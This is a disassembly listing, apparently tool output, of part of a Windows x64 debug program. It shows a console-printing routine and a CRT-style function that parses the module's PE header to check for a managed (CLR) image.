movzx eax, byte [rbp + 0x194]
mov byte [rbp + 4], al
movzx r8d, byte [rbp + 4]
mov edx, dword [rbp + 0x84]
lea rcx, [rbp + 0xa8]
call fcn.1400116c7
nop
lea rcx, [rbp + 0xa8]
call fcn.14001117c
movzx eax, al
test eax, eax
jne 0x140018254
lea rdx, [rbp + 0xa8]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400115b4
nop
lea rcx, [rbp + 0xa8]
call fcn.14001112c
jmp 0x14001816e
jmp 0x140018152
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140021fc0]
call fcn.14001152d
mov eax, edi
mov rcx, qword [rbp + 0x198]
xor rcx, rbp
call fcn.14001130c
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret
Function at 0x140011460
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001ad70
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001ad90
xor al, al
jmp 0x14001ae11
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001ada3
xor al, al
jmp 0x14001ae11
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001adcd
xor al, al
jmp 0x14001ae11
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001ade1
xor al, al
jmp 0x14001ae11
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001adf3
xor al, al
jmp 0x14001ae11
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001ae0f
xor al, al
jmp 0x14001ae11
mov al, 1
add rsp, 0x38
ret